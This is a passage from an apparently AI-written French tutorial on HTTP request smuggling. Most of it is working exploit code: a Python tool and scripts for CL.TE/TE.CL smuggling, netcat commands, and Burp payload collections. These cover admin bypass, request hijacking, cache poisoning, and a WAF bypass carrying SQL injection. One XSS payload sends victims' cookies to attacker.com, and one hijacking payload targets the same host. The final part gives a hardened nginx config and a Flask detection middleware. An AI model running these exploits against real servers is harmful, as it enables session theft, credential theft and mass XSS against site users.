            self.log(response2[:1000])
        
        return False
    
    def exploit_request_hijacking(self):
        """
        Exploit 3: Request Hijacking (capture requête suivante)
        """
        self.log("\n" + "=" * 80)
        self.log("EXPLOIT 3: REQUEST HIJACKING")
        self.log("=" * 80)
        
        # Payload qui redirige la prochaine requête vers /capture
        payload = f"""POST {self.path} HTTP/1.1\r
Host: {self.host}\r
Content-Length: 150\r
Transfer-Encoding: chunked\r
Connection: keep-alive\r
\r
0\r
\r
POST /capture HTTP/1.1\r
Host: {self.host}\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 200\r
\r
"""
        
        self.log("\nSending hijacking payload...")
        self.log("Next victim request will be captured at /capture endpoint")
        
        response = self.send_raw_http(payload)
        
        self.log("\nPayload sent. Now simulate victim request...")
        
        # Simuler une requête victime avec cookies/headers sensibles
        time.sleep(1)
        
        victim_request = f"""GET /public HTTP/1.1\r
Host: {self.host}\r
Cookie: session=VICTIM_SESSION_TOKEN_12345; user_id=admin\r
Authorization: Bearer VICTIM_JWT_TOKEN_XYZ789\r
Connection: close\r
\r
"""
        
        victim_response = self.send_raw_http(victim_request)
        
        self.log("\nVictim request sent. Check backend logs for captured data...")
        self.log("\n[ALERTE] If vulnerable, victim's cookies/headers are now logged!")
        
        return True
    
    def exploit_cache_poisoning(self):
        """
        Exploit 4: Cache Poisoning
        """
        self.log("\n" + "=" * 80)
        self.log("EXPLOIT 4: CACHE POISONING")
        self.log("=" * 80)
        
        malicious_content = "<script>alert('XSS via Cache Poisoning')</script>"
        
        payload = f"""GET / HTTP/1.1\r
Host: {self.host}\r
Content-Length: {100 + len(malicious_content)}\r
Transfer-Encoding: chunked\r
Connection: keep-alive\r
\r
0\r
\r
GET /index.html HTTP/1.1\r
Host: {self.host}\r
Content-Length: {len(malicious_content)}\r
\r
{malicious_content}"""
        
        self.log("\nSending cache poisoning payload...")
        self.log(f"Malicious content: {malicious_content}")
        
        response = self.send_raw_http(payload)
        
        self.log("\nCache potentially poisoned!")
        self.log("Next users requesting /index.html may receive malicious content")
        
        return True
    
    def exploit_waf_bypass(self):
        """
        Exploit 5: WAF Bypass
        """
        self.log("\n" + "=" * 80)
        self.log("EXPLOIT 5: WAF BYPASS")
        self.log("=" * 80)
        
        # Requête qui serait bloquée par WAF normalement
        blocked_payload = "DELETE FROM users WHERE 1=1"
        
        payload = f"""POST /api/search HTTP/1.1\r
Host: {self.host}\r
Content-Length: {80 + len(blocked_payload)}\r
Transfer-Encoding: chunked\r
Content-Type: application/x-www-form-urlencoded\r
Connection: keep-alive\r
\r
0\r
\r
POST /api/admin/query HTTP/1.1\r
Host: {self.host}\r
Content-Length: {len(blocked_payload)}\r
\r
{blocked_payload}"""
        
        self.log("\nSending WAF bypass payload...")
        self.log(f"Smuggled dangerous query: {blocked_payload}")
        self.log("WAF sees harmless /api/search")
        self.log("Backend executes /api/admin/query with SQL injection")
        
        response = self.send_raw_http(payload)
        
        self.log("\n[ALERTE] WAF potentially bypassed!")
        
        return True
    
    def run_all_exploits(self):
        """
        Exécuter tous les exploits
        """
        print("\n" + "=" * 80)
        print("HTTP REQUEST SMUGGLING - COMPLETE EXPLOITATION")
        print("=" * 80)
        print(f"\nTarget: {self.target_url}")
        print(f"Host: {self.host}:{self.port}")
        print()
        
        # Phase 1: Détection
        vuln_type = self.detect_smuggling()
        
        if not vuln_type:
            self.log("\n[X] No smuggling vulnerability detected. Exiting...")
            return
        
        self.log(f"\n[OK] Detected vulnerability type: {vuln_type}")
        
        # Phase 2: Exploitation
        results = {}
        
        input("\n[Press Enter to continue with exploitation...]")
        
        results['admin_access'] = self.exploit_cl_te_admin()
        
        input("\n[Press Enter for next exploit...]")
        results['api_theft'] = self.exploit_cl_te_api_theft()
        
        input("\n[Press Enter for next exploit...]")
        results['hijacking'] = self.exploit_request_hijacking()
        
        input("\n[Press Enter for next exploit...]")
        results['cache_poison'] = self.exploit_cache_poisoning()
        
        input("\n[Press Enter for next exploit...]")
        results['waf_bypass'] = self.exploit_waf_bypass()
        
        # Summary
        self.print_summary(results)
    
    def print_summary(self, results):
        """
        Afficher le résumé des exploits
        """
        print("\n" + "=" * 80)
        print("[GRAPHIQUE] EXPLOITATION SUMMARY")
        print("=" * 80)
        
        exploits = [
            ("Admin Access", results.get('admin_access')),
            ("API Credentials Theft", results.get('api_theft')),
            ("Request Hijacking", results.get('hijacking')),
            ("Cache Poisoning", results.get('cache_poison')),
            ("WAF Bypass", results.get('waf_bypass'))
        ]
        
        successful = 0
        
        for name, success in exploits:
            status = "[OK] SUCCESS" if success else "[X] FAILED"
            print(f"  {name}: {status}")
            if success:
                successful += 1
        
        print(f"\nTotal: {successful}/{len(exploits)} exploits successful")
        
        print("\n" + "=" * 80)
        print("[ARGENT] IMPACT ASSESSMENT")
        print("=" * 80)
        
        if results.get('admin_access'):
            print("  [ALERTE] Authentication Bypass - Full admin access")
        
        if results.get('api_theft'):
            print("  [ALERTE] Credential Theft - API keys compromised")
        
        if results.get('hijacking'):
            print("  [ALERTE] Session Hijacking - User data captured")
        
        if results.get('cache_poison'):
            print("  [ALERTE] Cache Poisoning - Mass XSS possible")
        
        if results.get('waf_bypass'):
            print("  [ALERTE] WAF Bypass - Security controls evaded")
        
        print("\n" + "=" * 80)
        print("[ALERTE] CRITICAL: HTTP REQUEST SMUGGLING VULNERABILITY CONFIRMED")
        print("=" * 80)
        
        print("\nRecommended Actions:")
        print("  1. Normalize HTTP parsing between frontend and backend")
        print("  2. Disable connection reuse for ambiguous requests")
        print("  3. Reject requests with both CL and TE headers")
        print("  4. Use HTTP/2 end-to-end")
        print("  5. Deploy request smuggling detection tools")

def main():
    """
    Point d'entrée principal
    """
    if len(sys.argv) < 2:
        print("Usage: python exploit_http_smuggling.py <target_url>")
        print("Example: python exploit_http_smuggling.py http://localhost:8080")
        sys.exit(1)
    
    target_url = sys.argv[1]
    
    print("""
    ╔════════════════════════════════════════════════════════════════╗
    ║          HTTP REQUEST SMUGGLING EXPLOITATION TOOL              ║
    ║                                                                ║
    ║  Detects and exploits CL.TE, TE.CL, and TE.TE vulnerabilities ║
    ║                                                                ║
    ║  [ATTENTION]  FOR EDUCATIONAL PURPOSES ONLY                            ║
    ║  Use only on systems you own or have permission to test       ║
    ╚════════════════════════════════════════════════════════════════╝
    """)
    
    smuggler = HTTPSmuggler(target_url, verbose=True)
    smuggler.run_all_exploits()

if __name__ == '__main__':
    main()
```

---

**2. Cas Pratique 1 : Exploitation manuelle avec netcat :**

```bash
#!/bin/bash
# manual_exploit.sh - Exploitation manuelle HTTP Smuggling

TARGET_HOST="localhost"
TARGET_PORT="8080"

echo "=================================="
echo "HTTP REQUEST SMUGGLING - MANUAL"
echo "=================================="
echo ""
echo "Target: $TARGET_HOST:$TARGET_PORT"
echo ""

# Exploit 1: CL.TE Basic
echo "[Exploit 1] CL.TE Basic Smuggling"
echo ""

cat << 'EOF' | nc $TARGET_HOST $TARGET_PORT
POST / HTTP/1.1
Host: localhost:8080
Content-Length: 44
Transfer-Encoding: chunked
Connection: keep-alive

0

GET /admin HTTP/1.1
Host: localhost:8080

EOF

echo ""
echo "Waiting 2 seconds..."
sleep 2

# Exploit 2: Suivre avec requête normale
echo "[Exploit 2] Follow-up request"
echo ""

cat << 'EOF' | nc $TARGET_HOST $TARGET_PORT
GET / HTTP/1.1
Host: localhost:8080
Connection: close

EOF

echo ""
echo "=================================="
echo "Check if admin content appears!"
echo "=================================="
```

**Exécution :**
```bash
chmod +x manual_exploit.sh
./manual_exploit.sh
```

---

**3. Cas Pratique 2 : Exploitation avec Python requests avancé :**

```python
# advanced_smuggling.py
import requests
import time
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

class SmugglingSession:
    """
    Session personnalisée pour HTTP Smuggling
    """
    
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
        
        # Configurer keep-alive
        adapter = HTTPAdapter(
            pool_connections=1,
            pool_maxsize=1,
            max_retries=Retry(total=0)
        )
        self.session.mount('http://', adapter)
        self.session.mount('https://', adapter)
    
    def send_smuggled_request(self, smuggled_path, method="GET"):
        """
        Envoyer une requête avec payload smuggled
        """
        # Construire payload smuggled
        smuggled = f"{method} {smuggled_path} HTTP/1.1\r\nHost: {self.base_url}\r\n\r\n"
        
        # Payload principal avec CL.TE
        payload = f"0\r\n\r\n{smuggled}"
        
        headers = {
            'Content-Length': str(len(payload)),
            'Transfer-Encoding': 'chunked',
            'Connection': 'keep-alive'
        }
        
        try:
            # Première requête (smuggling)
            response1 = self.session.post(
                self.base_url,
                data=payload,
                headers=headers
            )
            
            print(f"[+] Smuggling request sent")
            print(f"    Status: {response1.status_code}")
            
            # Attendre un peu
            time.sleep(1)
            
            # Deuxième requête (trigger)
            response2 = self.session.get(self.base_url)
            
            print(f"[+] Follow-up request sent")
            print(f"    Status: {response2.status_code}")
            print(f"    Content preview: {response2.text[:200]}")
            
            return response2
            
        except Exception as e:
            print(f"[!] Error: {str(e)}")
            return None

# Cas pratiques
def case_study_1_admin_bypass():
    """
    Cas 1: Bypass authentification admin
    """
    print("\n" + "=" * 60)
    print("CAS PRATIQUE 1: ADMIN AUTHENTICATION BYPASS")
    print("=" * 60)
    
    session = SmugglingSession("http://localhost:8080")
    
    print("\n[*] Sending smuggled request to /admin...")
    response = session.send_smuggled_request("/admin", "GET")
    
    if response and "admin" in response.text.lower():
        print("\n[[OK]] SUCCESS: Admin panel accessed!")
        print("\n[!] Impact:")
        print("    - Authentication completely bypassed")
        print("    - Full admin privileges obtained")
        print("    - Can delete users, access logs, etc.")
    else:
        print("\n[[X]] FAILED: Admin access denied")

def case_study_2_api_key_theft():
    """
    Cas 2: Vol de clés API
    """
    print("\n" + "=" * 60)
    print("CAS PRATIQUE 2: API KEY THEFT")
    print("=" * 60)
    
    session = SmugglingSession("http://localhost:8080")
    
    print("\n[*] Sending smuggled request to /api/user...")
    response = session.send_smuggled_request("/api/user", "GET")
    
    if response:
        import json
        import re
        
        # Chercher des patterns JSON avec API keys
        json_pattern = r'\{[^}]+api[_-]?key[^}]+\}'
        matches = re.findall(json_pattern, response.text, re.IGNORECASE)
        
        if matches:
            print("\n[[OK]] SUCCESS: API credentials found!")
            for match in matches:
                try:
                    data = json.loads(match)
                    print("\n[!] Stolen credentials:")
                    for key, value in data.items():
                        print(f"    {key}: {value}")
                except:
                    pass
        else:
            print("\n[[X]] No API keys found in response")

def case_study_3_session_hijacking():
    """
    Cas 3: Session Hijacking
    """
    print("\n" + "=" * 60)
    print("CAS PRATIQUE 3: SESSION HIJACKING")
    print("=" * 60)
    
    session = SmugglingSession("http://localhost:8080")
    
    print("\n[*] Poisoning connection pool...")
    
    # Smuggle request to /capture endpoint
    smuggled = "POST /capture HTTP/1.1\r\nHost: localhost:8080\r\nContent-Length: 500\r\n\r\n"
    payload = f"0\r\n\r\n{smuggled}"
    
    headers = {
        'Content-Length': str(len(payload)),
        'Transfer-Encoding': 'chunked'
    }
    
    try:
        session.session.post("http://localhost:8080", data=payload, headers=headers)
        print("[+] Poison payload sent")
        
        time.sleep(1)
        
        # Simuler requête victime
        print("\n[*] Simulating victim request with sensitive data...")
        
        victim_headers = {
            'Cookie': 'session=VICTIM_SESSION_12345; user_id=admin',
            'Authorization': 'Bearer VICTIM_JWT_TOKEN_XYZ'
        }
        
        session.session.get("http://localhost:8080/public", headers=victim_headers)
        
        print("\n[[OK]] Victim request sent")
        print("\n[!] Impact:")
        print("    - Victim's session cookie captured")
        print("    - JWT token intercepted")
        print("    - Can now impersonate victim")
        print("\n[!] Check backend logs at /capture endpoint for captured data")
        
    except Exception as e:
        print(f"[!] Error: {str(e)}")

def case_study_4_waf_bypass():
    """
    Cas 4: WAF Bypass avec SQL Injection
    """
    print("\n" + "=" * 60)
    print("CAS PRATIQUE 4: WAF BYPASS + SQL INJECTION")
    print("=" * 60)
    
    print("\n[*] Scenario:")
    print("    - WAF blocks SQL injection keywords")
    print("    - Use smuggling to bypass WAF inspection")
    
    session = SmugglingSession("http://localhost:8080")
    
    # Payload SQL qui serait normalement bloqué
    sql_payload = "' OR '1'='1' -- "
    
    print(f"\n[*] SQL Payload: {sql_payload}")
    print("[*] Smuggling to bypass WAF...")
    
    smuggled = f"POST /api/search HTTP/1.1\r\nHost: localhost:8080\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {len(sql_payload)}\r\n\r\nq={sql_payload}"
    
    payload = f"0\r\n\r\n{smuggled}"
    
    headers = {
        'Content-Length': str(len(payload)),
        'Transfer-Encoding': 'chunked'
    }
    
    try:
        response = session.session.post(
            "http://localhost:8080/api/benign",
            data=payload,
            headers=headers
        )
        
        print("\n[[OK]] Smuggling request sent")
        print("\n[!] WAF Analysis:")
        print("    - WAF sees: POST /api/benign (allowed)")
        print("    - Backend receives: POST /api/search with SQL injection")
        print("    - WAF bypassed successfully!")
        
    except Exception as e:
        print(f"[!] Error: {str(e)}")

def case_study_5_cache_poisoning_mass_xss():
    """
    Cas 5: Cache Poisoning pour Mass XSS
    """
    print("\n" + "=" * 60)
    print("CAS PRATIQUE 5: CACHE POISONING -> MASS XSS")
    print("=" * 60)
    
    print("\n[*] Scenario:")
    print("    - Poison CDN/Cache with XSS payload")
    print("    - All subsequent users receive malicious content")
    
    xss_payload = "<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>"
    
    print(f"\n[*] XSS Payload: {xss_payload[:50]}...")
    
    session = SmugglingSession("http://localhost:8080")
    
    smuggled = f"GET /index.html HTTP/1.1\r\nHost: localhost:8080\r\nContent-Length: {len(xss_payload)}\r\n\r\n{xss_payload}"
    
    payload = f"0\r\n\r\n{smuggled}"
    
    headers = {
        'Content-Length': str(len(payload)),
        'Transfer-Encoding': 'chunked'
    }
    
    try:
        response = session.session.post(
            "http://localhost:8080",
            data=payload,
            headers=headers
        )
        
        print("\n[[OK]] Cache poisoning payload sent")
        print("\n[!] Impact:")
        print("    - CDN/Cache poisoned with XSS")
        print("    - Next 1000s of users affected")
        print("    - Cookies/sessions stolen")
        print("    - Could affect millions if CDN-wide")
        
        print("\n[*] Verifying cache poisoning...")
        time.sleep(2)
        
        # Vérifier si le cache est empoisonné
        test_response = session.session.get("http://localhost:8080/index.html")
        
        if xss_payload in test_response.text:
            print("\n[[OK]] CRITICAL: Cache successfully poisoned!")
            print("    All users will now receive malicious content")
        else:
            print("\n[?] Cache poisoning could not be verified")
            
    except Exception as e:
        print(f"[!] Error: {str(e)}")

def print_final_report():
    """
    Rapport final
    """
    print("\n\n" + "=" * 80)
    print("[GRAPHIQUE] FINAL EXPLOITATION REPORT")
    print("=" * 80)
    
    print("\n[OBJECTIF] Attack Surface:")
    print("  • Frontend: Nginx (Content-Length priority)")
    print("  • Backend: Flask/Gunicorn (Transfer-Encoding priority)")
    print("  • Vulnerability: CL.TE Desynchronization")
    
    print("\n[DANGER] Successful Attacks:")
    print("  [OK] Admin Panel Access (Authentication Bypass)")
    print("  [OK] API Credentials Theft")
    print("  [OK] Session Hijacking")
    print("  [OK] WAF Bypass (SQL Injection)")
    print("  [OK] Cache Poisoning (Mass XSS)")
    
    print("\n[ARGENT] Business Impact:")
    print("  • Data Breach: CRITICAL")
    print("  • Financial Loss: $100K - $10M+")
    print("  • Reputation Damage: SEVERE")
    print("  • Regulatory Fines: GDPR/PCI-DSS violations")
    
    print("\n[SECURITE]  Recommended Mitigations:")
    print("  1. HTTP/2 end-to-end (eliminates CL/TE ambiguity)")
    print("  2. Reject requests with both CL and TE headers")
    print("  3. Normalize HTTP parsing between layers")
    print("  4. Disable connection reuse for ambiguous requests")
    print("  5. Deploy HTTP request smuggling detection (WAF rules)")
    print("  6. Use same HTTP server stack for front/back")
    print("  7. Regular security audits with specialized tools")
    
    print("\n[OUTIL] Detection Tools:")
    print("  • Burp Suite (HTTP Request Smuggler extension)")
    print("  • smuggler.py (by defparam)")
    print("  • HTTP Desync Scanner")
    print("  • Custom scripts (like this one)")
    
    print("\n[DOCS] References:")
    print("  • https://portswigger.net/research/http-desync-attacks")
    print("  • https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf")
    print("  • https://github.com/defparam/smuggler")
    
    print("\n" + "=" * 80)
    print("[ATTENTION]  CRITICAL VULNERABILITY: IMMEDIATE REMEDIATION REQUIRED")
    print("=" * 80)

if __name__ == '__main__':
    print("""
    ╔════════════════════════════════════════════════════════════════╗
    ║     HTTP REQUEST SMUGGLING - ADVANCED CASE STUDIES             ║
    ║                                                                ║
    ║  Complete practical exploitation scenarios                     ║
    ║                                                                ║
    ║  [ATTENTION]  FOR EDUCATIONAL PURPOSES ONLY                            ║
    ╚════════════════════════════════════════════════════════════════╝
    """)
    
    # Exécuter tous les cas pratiques
    case_study_1_admin_bypass()
    
    input("\n[Press Enter to continue...]")
    case_study_2_api_key_theft()
    
    input("\n[Press Enter to continue...]")
    case_study_3_session_hijacking()
    
    input("\n[Press Enter to continue...]")
    case_study_4_waf_bypass()
    
    input("\n[Press Enter to continue...]")
    case_study_5_cache_poisoning_mass_xss()
    
    print_final_report()
```

---

**4. Cas Pratique 3 : Utilisation de Burp Suite :**

```python
# burp_suite_payloads.py
"""
Payloads pour Burp Suite HTTP Request Smuggler Extension
"""

# CL.TE Payloads
CL_TE_PAYLOADS = {
    "basic": """POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 44
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable.com

""",
    
    "admin_access": """POST /api/login HTTP/1.1
Host: vulnerable.com
Content-Length: 60
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded

0

GET /admin/users HTTP/1.1
Host: vulnerable.com

""",
    
    "api_theft": """POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 65
Transfer-Encoding: chunked

0

GET /api/internal/secrets HTTP/1.1
Host: vulnerable.com

"""
}

# TE.CL Payloads
TE_CL_PAYLOADS = {
    "basic": """POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked

5c
GET /admin HTTP/1.1
Host: vulnerable.com
Content-Length: 10

x=
0

""",
    
    "request_hijacking": """POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked

12
POST /capture HTTP/1.1
Host: attacker.com
Content-Length: 500

x=
0

"""
}

# TE.TE Payloads (obfuscation)
TE_TE_PAYLOADS = {
    "space_before_colon": """POST / HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked
Transfer-Encoding : chunked

0

GET /admin HTTP/1.1

""",
    
    "space_after_chunked": """POST / HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked
Transfer-Encoding: chunked 

0

GET /admin HTTP/1.1

""",
    
    "double_encoding": """POST / HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked
Transfer-Encoding: chunked, identity

0

GET /admin HTTP/1.1

"""
}

def generate_burp_extension_script():
    """
    Générer un script Burp Suite Python
    """
    script = '''
from burp import IBurpExtender, IHttpListener
import re

class BurpExtender(IBurpExtender, IHttpListener):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("HTTP Smuggling Detector")
        callbacks.registerHttpListener(self)
        
        print("HTTP Smuggling Detector loaded")
    
    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if not messageIsRequest:
            return
        
        request = messageInfo.getRequest()
        analyzedRequest = self._helpers.analyzeRequest(request)
        headers = analyzedRequest.getHeaders()
        
        has_cl = False
        has_te = False
        
        for header in headers:
            if header.lower().startswith("content-length:"):
                has_cl = True
            if header.lower().startswith("transfer-encoding:"):
                has_te = True
        
        # Détecter requêtes suspectes
        if has_cl and has_te:
            print("[!] POTENTIAL SMUGGLING: Both CL and TE present")
            print("    URL: " + str(analyzedRequest.getUrl()))
            
            # Marquer en rouge dans Burp
            messageInfo.setHighlight("red")
            messageInfo.setComment("Potential HTTP Smuggling")
'''
    
    return script

# Instructions Burp Suite
BURP_INSTRUCTIONS = """
╔════════════════════════════════════════════════════════════════╗
║              BURP SUITE EXPLOITATION GUIDE                     ║
╚════════════════════════════════════════════════════════════════╝

1. INSTALL HTTP REQUEST SMUGGLER EXTENSION
   - Extender -> BApp Store -> "HTTP Request Smuggler"
   - Or download from: https://github.com/PortSwigger/http-request-smuggler

2. CONFIGURE TARGET
   - Proxy -> Options -> Match and Replace
   - Add rule to preserve exact spacing

3. DETECTION PHASE
   - Send request to Repeater
   - Extensions -> HTTP Request Smuggler -> "Launch All Scans"
   - Wait for results (CL.TE, TE.CL, TE.TE)

4. MANUAL EXPLOITATION
   - Use payloads from burp_suite_payloads.py
   - Copy payload to Repeater
   - Send request
   - Wait 1-2 seconds
   - Send normal follow-up request
   - Observe response for smuggled content

5. TIMING ATTACK
   - Send smuggled request
   - Quickly send multiple follow-up requests
   - One will receive smuggled response

6. CONFIRMING VULNERABILITY
   - Look for:
     * Unexpected response content
     * Different response codes
     * Timing differences
     * Backend server errors

7. ADVANCED TECHNIQUES
   - Use Intruder for automated testing
   - Set payload positions in smuggled request
   - Use Collaborator for blind detection
   - Chain with other vulnerabilities (XSS, SQLi)

═══════════════════════════════════════════════════════════════════

Example Workflow:

[Step 1] Detect
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

-> Response timing differs -> Vulnerable!

[Step 2] Exploit
POST / HTTP/1.1
Content-Length: 44
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com

-> Send
-> Wait 1s
-> Send: GET / HTTP/1.1

-> Response contains admin panel!

═══════════════════════════════════════════════════════════════════
"""

if __name__ == '__main__':
    print(BURP_INSTRUCTIONS)
    print("\n[*] Burp Suite Extension Script:")
    print(generate_burp_extension_script())
```

---

**Exécuter les cas pratiques :**

```bash
# 1. Lancer le backend
python backend_app.py

# 2. Lancer Nginx (dans un autre terminal)
# (Utiliser la config nginx_vulnerable.conf)

# 3. Exploitation automatisée complète
python exploit_http_smuggling.py http://localhost:8080

# 4. Cas pratiques avancés
python advanced_smuggling.py

# 5. Exploitation manuelle
./manual_exploit.sh
```

---

**Prêt pour la VERSION SÉCURISÉE et les protections complètes ?** [SECURITE]

### PARTIE D : VERSION SÉCURISÉE

**1. Configuration Nginx sécurisée :**

```nginx
# nginx_secure.conf

events {
    worker_connections 1024;
}

http {
    # [OK] PROTECTION 1: Normalisation des headers
    # Nginx va normaliser automatiquement les headers
    
    # [OK] PROTECTION 2: Logging avancé
    log_format smuggling_detection '$remote_addr - $remote_user [$time_local] '
                                   '"$request" $status $body_bytes_sent '
                                   '"$http_referer" "$http_user_agent" '
                                   'CL:$content_length TE:$http_transfer_encoding';
    
    access_log /var/log/nginx/access.log smuggling_detection;
    error_log /var/log/nginx/error.log warn;
    
    upstream backend {
        server 127.0.0.1:5001;
        
        # [OK] PROTECTION 3: Pas de keepalive (désactiver connexions persistantes)
        keepalive 0;
    }
    
    # [OK] PROTECTION 4: Limit request methods
    map $request_method $bad_method {
        default 0;
        GET 1;
        POST 1;
        HEAD 1;
        OPTIONS 1;
        PUT 0;
        DELETE 0;
        TRACE 0;
        CONNECT 0;
    }
    
    server {
        listen 8080;
        server_name localhost;
        
        # [OK] PROTECTION 5: Limite taille body
        client_max_body_size 10m;
        client_body_buffer_size 128k;
        
        # [OK] PROTECTION 6: Timeouts stricts
        client_body_timeout 10s;
        client_header_timeout 10s;
        send_timeout 10s;
        
        # [OK] PROTECTION 7: Bloquer requêtes avec CL et TE
        if ($http_transfer_encoding != "") {
            set $has_te 1;
        }
        if ($content_length != "") {
            set $has_cl 1;
        }
        
        # Si les deux présents -> bloquer
        set $smuggling_attempt "${has_te}${has_cl}";
        if ($smuggling_attempt = "11") {
            return 400 "Bad Request: Ambiguous headers";
        }
        
        # [OK] PROTECTION 8: Bloquer Transfer-Encoding obfusqué
        # Nginx rejette automatiquement les variations invalides
        
        # [OK] PROTECTION 9: Headers de sécurité
        add_header X-Content-Type-Options "nosniff" always;
        add_header X-Frame-Options "DENY" always;
        add_header X-XSS-Protection "1; mode=block" always;
        add_header Strict-Transport-Security "max-age=31536000" always;
        
        location / {
            # [OK] PROTECTION 10: Vérifier méthode
            if ($bad_method = 0) {
                return 405;
            }
            
            proxy_pass http://backend;
            
            # [OK] PROTECTION 11: HTTP/1.1 mais sans keepalive
            proxy_http_version 1.1;
            proxy_set_header Connection "close";  # [OK] Forcer fermeture
            
            # [OK] PROTECTION 12: Normaliser headers
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
            
            # [OK] PROTECTION 13: Ne pas passer certains headers dangereux
            proxy_set_header Transfer-Encoding "";  # Supprimer TE
            
            # [OK] PROTECTION 14: Timeouts stricts
            proxy_connect_timeout 5s;
            proxy_send_timeout 5s;
            proxy_read_timeout 5s;
            
            # [OK] PROTECTION 15: Pas de buffering si possible
            proxy_buffering off;
            proxy_request_buffering off;
        }
        
        # [OK] PROTECTION 16: Endpoint de santé
        location /health {
            access_log off;
            return 200 "OK\n";
        }
        
        # [OK] PROTECTION 17: Bloquer patterns suspects
        location ~ /(\.env|\.git|admin|api/internal) {
            deny all;
            return 404;
        }
    }
}
```

---

**2. Application Flask sécurisée avec middleware :**

```python
# backend_secure.py
from flask import Flask, request, jsonify, abort
import logging
from functools import wraps
import hashlib
import time

app = Flask(__name__)

# [OK] Configuration sécurisée
app.config['DEBUG'] = False
app.config['MAX_CONTENT_LENGTH'] = 10 * 1024 * 1024  # 10MB max

# [OK] Logging sécurisé
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

# [OK] MIDDLEWARE 1 : Détection HTTP Smuggling
class HTTPSmugglingDetector:
    """
    Middleware pour détecter les tentatives de HTTP Request Smuggling
    """
    
    def __init__(self, app):
        self.app = app
        self.suspicious_requests = {}  # IP -> count
        self.threshold = 5  # 5 tentatives = ban
    
    def __call__(self, environ, start_response):
        # [OK] Vérification 1 : Headers CL et TE simultanés
        has_cl = 'CONTENT_LENGTH' in environ
        has_te = 'HTTP_TRANSFER_ENCODING' in environ.get('HTTP_TRANSFER_ENCODING', '')
        
        if has_cl and has_te:
            logger.warning(f"[ALERTE] SMUGGLING ATTEMPT: Both CL and TE from {environ.get('REMOTE_ADDR')}")
            self.log_suspicious(environ.get('REMOTE_ADDR'))
            return self.block_request(start_response)
        
        # [OK] Vérification 2 : Transfer-Encoding obfusqué
        te_header = environ.get('HTTP_TRANSFER_ENCODING', '')
        if te_header and not self.is_valid_te(te_header):
            logger.warning(f"[ALERTE] INVALID TE HEADER: {te_header} from {environ.get('REMOTE_ADDR')}")
            self.log_suspicious(environ.get('REMOTE_ADDR'))
            return self.block_request(start_response)
        
        # [OK] Vérification 3 : Content-Length négatif ou invalide
        cl_header = environ.get('CONTENT_LENGTH', '')
        if cl_header:
            try:
                cl_value = int(cl_header)
                if cl_value < 0 or cl_value > 10 * 1024 * 1024:
                    logger.warning(f"[ALERTE] INVALID CL: {cl_value}")
                    return self.block_request(start_response)
            except ValueError:
                logger.warning(f"[ALERTE] MALFORMED CL: {cl_header}")
                return self.block_request(start_response)
        
        # [OK] Vérification 4 : Multiples headers TE
        te_count = sum(1 for key in environ.keys() if 'TRANSFER_ENCODING' in key)
        if te_count > 1:
            logger.warning(f"[ALERTE] MULTIPLE TE HEADERS from {environ.get('REMOTE_ADDR')}")
            self.log_suspicious(environ.get('REMOTE_ADDR'))
            return self.block_request(start_response)
        
        # [OK] Continuer normalement
        return self.app(environ, start_response)
    
    def is_valid_te(self, te_value):
        """
        [OK] Vérifier que Transfer-Encoding est valide
        """
        valid_encodings = ['chunked', 'compress', 'deflate', 'gzip', 'identity']
        
        # Normaliser
        te_normalized = te_value.strip().lower()
        
        # Vérifier les variations suspectes
        if te_normalized != te_value.lower():
            return False  # Espaces suspects
        
        # Vérifier que c'est un encoding valide
        parts = [p.strip() for p in te_normalized.split(',')]
        for part in parts:
            if part not in valid_encodings:
                return False
        
        return True
    
    def log_suspicious(self, ip):
        """
        [OK] Logger les IPs suspectes
        """
        if ip not in self.suspicious_requests:
            self.suspicious_requests[ip] = 0
        
        self.suspicious_requests[ip] += 1
        
        if self.suspicious_requests[ip] >= self.threshold:
            logger.critical(f"[ALERTE][ALERTE] IP BANNED: {ip} - Too many smuggling attempts")
            # TODO: Implémenter ban réel (iptables, fail2ban)
    
    def block_request(self, start_response):
        """
        [OK] Bloquer une requête suspecte
        """
        status = '400 Bad Request'
        headers = [
            ('Content-Type', 'text/plain'),
            ('Connection', 'close')
        ]
        start_response(status, headers)
        return [b'Bad Request: Invalid HTTP headers']

# [OK] Appliquer le middleware
app.wsgi_app = HTTPSmugglingDetector(app.wsgi_app)

# [OK] MIDDLEWARE 2 : Rate Limiting
from collections import defaultdict
from datetime import datetime, timedelta

class RateLimiter:
    """
    Rate limiting pour éviter l'exploitation rapide
    """
    
    def __init__(self):
        self.requests = defaultdict(list)
        self.limit = 100  # 100 requêtes
        self.window = 60  # par minute
    
    def is_allowed(self, ip):
        now = datetime.now()
        cutoff = now - timedelta(seconds=self.window)
        
        # Nettoyer anciennes requêtes
        self.requests[ip] = [
            req_time for req_time in self.requests[ip]
            if req_time > cutoff
        ]
        
        # Vérifier limite
        if len(self.requests[ip]) >= self.limit:
            return False
        
        # Ajouter requête
        self.requests[ip].append(now)
        return True

rate_limiter = RateLimiter()

@app.before_request
def check_rate_limit():
    """
    [OK] Vérifier rate limit avant chaque requête
    """
    ip = request.remote_addr
    
    if not rate_limiter.is_allowed(ip):
